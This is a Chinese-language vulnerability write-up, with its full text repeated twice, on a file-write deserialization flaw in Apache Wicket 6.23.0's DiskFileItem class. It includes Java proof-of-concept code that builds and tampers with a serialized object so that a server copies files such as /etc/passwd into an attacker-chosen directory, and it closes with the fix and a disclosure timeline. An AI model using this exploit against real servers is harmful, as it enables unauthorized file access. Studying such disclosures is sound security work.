Apacge Wicket简介:
Wicket是一个Java 语言的Web开发框架,与Struts,WebWork,Tapestry 相类似。其特点在于对Html和代码进行了有效的分离(有利于程序员和美工的合作),基于规则的配置(减少了XML 等配置文件的使用),学习曲线较低(开发方式与C/S相似),更加易于调试(错误类型比较少,而且容易定位)。
摘要:
Apache Wichet6.23.0项目的反序列化漏洞,这个漏洞没有Common Collection library危害大但是找到它是非常有趣的。这个漏洞允许写入远程文件到服务器本地文件中或删除服务器上面的任意文件。这个漏洞跟CVE-2013-2186相似。Apacge Wichet开发者复制粘贴了 Common Upload组件中"DiskFileItem" 类。
要演示这种攻击,需要服务器反序列化这个对象(例如通过RMI端口),你需要设置在服务器可以写可读的位置(例如共享目录或Web服务器根目录下的目录)。
在Apache Wicket的项目的6.23.0版本的“DiskFileItem”类反序列化过程中允许任意的远程文件写入到服务器的本地文件。
首先攻击者序列化一个DiskFileItem对象
package com.serialise;import org.apache.wicket.util.file.FileCleaner;import org.apache.wicket.util.io.DeferredFileOutputStream;import org.apache.wicket.util.upload.DiskFileItem;import java.io.*;import java.net.URI;/** * Created by H4ck0rInj on 2016/9/27. */public class Test{ public static void main(String argv[]){ try { String contentType = "UTF-8"; boolean isFormField = true; String fileName = "test.txt"; int sizeThreshold = 4; File repository = new File(new URI("file:///D:/HACK/")); FileCleaner fileUploadCleaner = new FileCleaner(); DiskFileItem dfi =new DiskFileItem(fileName,contentType,isFormField,fileName,sizeThreshold,repository,fileUploadCleaner); DeferredFileOutputStream os = (DeferredFileOutputStream) dfi.getOutputStream(); System.out.println(os.isThresholdExceeded()); byte[] data = dfi.get(); os.write(fileName.getBytes()); FileOutputStream fos = new FileOutputStream("D:\\fileitem.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(dfi); }catch (Exception e) { } }}然后攻击者将修改序列化对象。要修改的是要在红圈的地方将被复制的内容和内容要被复制的目录。它们都是Java File对象,所以他们能够支持URI参数。
这个Poc我们修改了原始的path和respository变量的指向。
System.out.println("Start");FileInputStream fis = new FileInputStream("D:\\fileitem.ser");ObjectInputStream ois = new ObjectInputStream(fis);DiskFileItem nameFromDisk = (DiskFileItem)ois.readObject();System.out.println("End");fos.close();
当DiskItemFile对象被反序列化,"/etc/passwd"文件将写入参数"Repository"指向的目录。
System.out.println("Start");FileInputStream fis = new FileInputStream("D:\\fileitem.ser");ObjectInputStream ois = new ObjectInputStream(fis);DiskFileItem nameFromDisk = (DiskFileItem)ois.readObject();System.out.println("End");fos.close();最原始的缺陷存在于DiskFileItem类的readObject函数中。OutputStream对象在getOutputStream函数被创建。
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); OutputStream output = this.getOutputStream(); if(this.cachedContent != null) { output.write(this.cachedContent); } else { FileInputStream input = new FileInputStream(this.dfosFile); Streams.copy(input, output); Files.remove(this.dfosFile); this.dfosFile = null; } output.close(); this.cachedContent = null;}getOutputStream函数创建了DeferredFileOutputStream对象,DeferredFileOutputStream对象用途是上传文件很大的时候写入数据到缓存文件。这个函数调用getTempFile设置本地文件。
public OutputStream getOutputStream() throws IOException { if(this.dfos == null) { this.dfos = new DeferredFileOutputStream(this.sizeThreshold, new FileFactory() { public File createFile() { return DiskFileItem.this.getTempFile(); } }); } return this.dfos;}本地的文件位置依赖于repository的值,repository的值我们可控,所以我们可以释放文件到我们控制的目录(共享目录或者网站根目录下的一个目录)
protected File getTempFile() { if(this.tempFile == null) { File tempDir = this.repository; String e; if(tempDir == null) { e = null; try { e = System.getProperty("java.io.tmpdir"); } catch (SecurityException var4) { throw new RuntimeException("Reading property java.io.tmpdir is not allowed for the current security settings. The repository location needs to be set manually, or upgrade permissions to allow reading the tmpdir property."); } tempDir = new File(e); } try { do { e = "upload_" + UID + "_" + getUniqueId() + ".tmp"; this.tempFile = new File(tempDir, e); } while(!this.tempFile.createNewFile()); } catch (IOException var5) { throw new RuntimeException("Could not create the temp file for upload: " + this.tempFile.getAbsolutePath(), var5); } if(this.fileUploadCleaner != null) { this.fileUploadCleaner.track(this.tempFile, this); } } return this.tempFile;}
最后"的readObject"函数拷贝内容由"dfosFile"变量指向,dfosFile有我们控制。
FileInputStream input = new FileInputStream(this.dfosFile);Streams.copy(input, output);Files.remove(this.dfosFile);this.dfosFile = null;
结论:
正如我在摘要所说,该漏洞是不那么容易的被利用,但找到它真的很有趣。关于修复,Apache Wicket的团队通过删除"readObject"函数的内容固定在最后一个版本来修复这个问题。用户更新其库中不再外露,这也意味着他们不能再序列化此CLASS。我不知道这是否将对Wicket的用户功能的影响。
注意些节:
1、修改fileitem.ser修改临时文件名字的时候不能破坏序列化协议格式。
2、作者说可以删除服务器上面的任意文件,实测没有成功,只能把指定文件内容以临时文件的形式释放到指定目录。
时间轴
16/07/2016:电子邮件透露漏洞给Apache的安全团队
16/07/2016:Apache Wicket团队确认漏洞
16/07/2016:第二封电子邮件Apache Wicket的团队说,他们正在处理这个缺陷 26/07/2016:新版本通过删除"的readObject"功能的内容修复该问题
https://github.com/GrrrDog/ACEDcup
http://blog.c2b2.co.uk/2013/11/poison-null-byte-and-importance-of.html
https://remoteawesomethoughts.blogspot.com/2016/08/apache-wicket-6230-deserialization.html
http://asialee.iteye.com/blog/699984
http://blog.csdn.net/zhaozheng7758/article/details/7820018
Apacge Wicket简介:
Wicket是一个Java 语言的Web开发框架,与Struts,WebWork,Tapestry 相类似。其特点在于对Html和代码进行了有效的分离(有利于程序员和美工的合作),基于规则的配置(减少了XML 等配置文件的使用),学习曲线较低(开发方式与C/S相似),更加易于调试(错误类型比较少,而且容易定位)。
摘要:
Apache Wichet6.23.0项目的反序列化漏洞,这个漏洞没有Common Collection library危害大但是找到它是非常有趣的。这个漏洞允许写入远程文件到服务器本地文件中或删除服务器上面的任意文件。这个漏洞跟CVE-2013-2186相似。Apacge Wichet开发者复制粘贴了 Common Upload组件中"DiskFileItem" 类。
要演示这种攻击,需要服务器反序列化这个对象(例如通过RMI端口),你需要设置在服务器可以写可读的位置(例如共享目录或Web服务器根目录下的目录)。
在Apache Wicket的项目的6.23.0版本的“DiskFileItem”类反序列化过程中允许任意的远程文件写入到服务器的本地文件。
首先攻击者序列化一个DiskFileItem对象
package com.serialise;import org.apache.wicket.util.file.FileCleaner;import org.apache.wicket.util.io.DeferredFileOutputStream;import org.apache.wicket.util.upload.DiskFileItem;import java.io.*;import java.net.URI;/** * Created by H4ck0rInj on 2016/9/27. */public class Test{ public static void main(String argv[]){ try { String contentType = "UTF-8"; boolean isFormField = true; String fileName = "test.txt"; int sizeThreshold = 4; File repository = new File(new URI("file:///D:/HACK/")); FileCleaner fileUploadCleaner = new FileCleaner(); DiskFileItem dfi =new DiskFileItem(fileName,contentType,isFormField,fileName,sizeThreshold,repository,fileUploadCleaner); DeferredFileOutputStream os = (DeferredFileOutputStream) dfi.getOutputStream(); System.out.println(os.isThresholdExceeded()); byte[] data = dfi.get(); os.write(fileName.getBytes()); FileOutputStream fos = new FileOutputStream("D:\\fileitem.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(dfi); }catch (Exception e) { } }}然后攻击者将修改序列化对象。要修改的是要在红圈的地方将被复制的内容和内容要被复制的目录。它们都是Java File对象,所以他们能够支持URI参数。
这个Poc我们修改了原始的path和respository变量的指向。
System.out.println("Start");FileInputStream fis = new FileInputStream("D:\\fileitem.ser");ObjectInputStream ois = new ObjectInputStream(fis);DiskFileItem nameFromDisk = (DiskFileItem)ois.readObject();System.out.println("End");fos.close();
当DiskItemFile对象被反序列化,"/etc/passwd"文件将写入参数"Repository"指向的目录。
System.out.println("Start");FileInputStream fis = new FileInputStream("D:\\fileitem.ser");ObjectInputStream ois = new ObjectInputStream(fis);DiskFileItem nameFromDisk = (DiskFileItem)ois.readObject();System.out.println("End");fos.close();最原始的缺陷存在于DiskFileItem类的readObject函数中。OutputStream对象在getOutputStream函数被创建。
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); OutputStream output = this.getOutputStream(); if(this.cachedContent != null) { output.write(this.cachedContent); } else { FileInputStream input = new FileInputStream(this.dfosFile); Streams.copy(input, output); Files.remove(this.dfosFile); this.dfosFile = null; } output.close(); this.cachedContent = null;}getOutputStream函数创建了DeferredFileOutputStream对象,DeferredFileOutputStream对象用途是上传文件很大的时候写入数据到缓存文件。这个函数调用getTempFile设置本地文件。
public OutputStream getOutputStream() throws IOException { if(this.dfos == null) { this.dfos = new DeferredFileOutputStream(this.sizeThreshold, new FileFactory() { public File createFile() { return DiskFileItem.this.getTempFile(); } }); } return this.dfos;}本地的文件位置依赖于repository的值,repository的值我们可控,所以我们可以释放文件到我们控制的目录(共享目录或者网站根目录下的一个目录)
protected File getTempFile() { if(this.tempFile == null) { File tempDir = this.repository; String e; if(tempDir == null) { e = null; try { e = System.getProperty("java.io.tmpdir"); } catch (SecurityException var4) { throw new RuntimeException("Reading property java.io.tmpdir is not allowed for the current security settings. The repository location needs to be set manually, or upgrade permissions to allow reading the tmpdir property."); } tempDir = new File(e); } try { do { e = "upload_" + UID + "_" + getUniqueId() + ".tmp"; this.tempFile = new File(tempDir, e); } while(!this.tempFile.createNewFile()); } catch (IOException var5) { throw new RuntimeException("Could not create the temp file for upload: " + this.tempFile.getAbsolutePath(), var5); } if(this.fileUploadCleaner != null) { this.fileUploadCleaner.track(this.tempFile, this); } } return this.tempFile;}
最后"的readObject"函数拷贝内容由"dfosFile"变量指向,dfosFile有我们控制。
FileInputStream input = new FileInputStream(this.dfosFile);Streams.copy(input, output);Files.remove(this.dfosFile);this.dfosFile = null;
结论:
正如我在摘要所说,该漏洞是不那么容易的被利用,但找到它真的很有趣。关于修复,Apache Wicket的团队通过删除"readObject"函数的内容固定在最后一个版本来修复这个问题。用户更新其库中不再外露,这也意味着他们不能再序列化此CLASS。我不知道这是否将对Wicket的用户功能的影响。
注意些节:
1、修改fileitem.ser修改临时文件名字的时候不能破坏序列化协议格式。
2、作者说可以删除服务器上面的任意文件,实测没有成功,只能把指定文件内容以临时文件的形式释放到指定目录。
时间轴
16/07/2016:电子邮件透露漏洞给Apache的安全团队
16/07/2016:Apache Wicket团队确认漏洞
16/07/2016:第二封电子邮件Apache Wicket的团队说,他们正在处理这个缺陷 26/07/2016:新版本通过删除"的readObject"功能的内容修复该问题
https://github.com/GrrrDog/ACEDcup
http://blog.c2b2.co.uk/2013/11/poison-null-byte-and-importance-of.html
https://remoteawesomethoughts.blogspot.com/2016/08/apache-wicket-6230-deserialization.html
http://asialee.iteye.com/blog/699984
http://blog.csdn.net/zhaozheng7758/article/details/7820018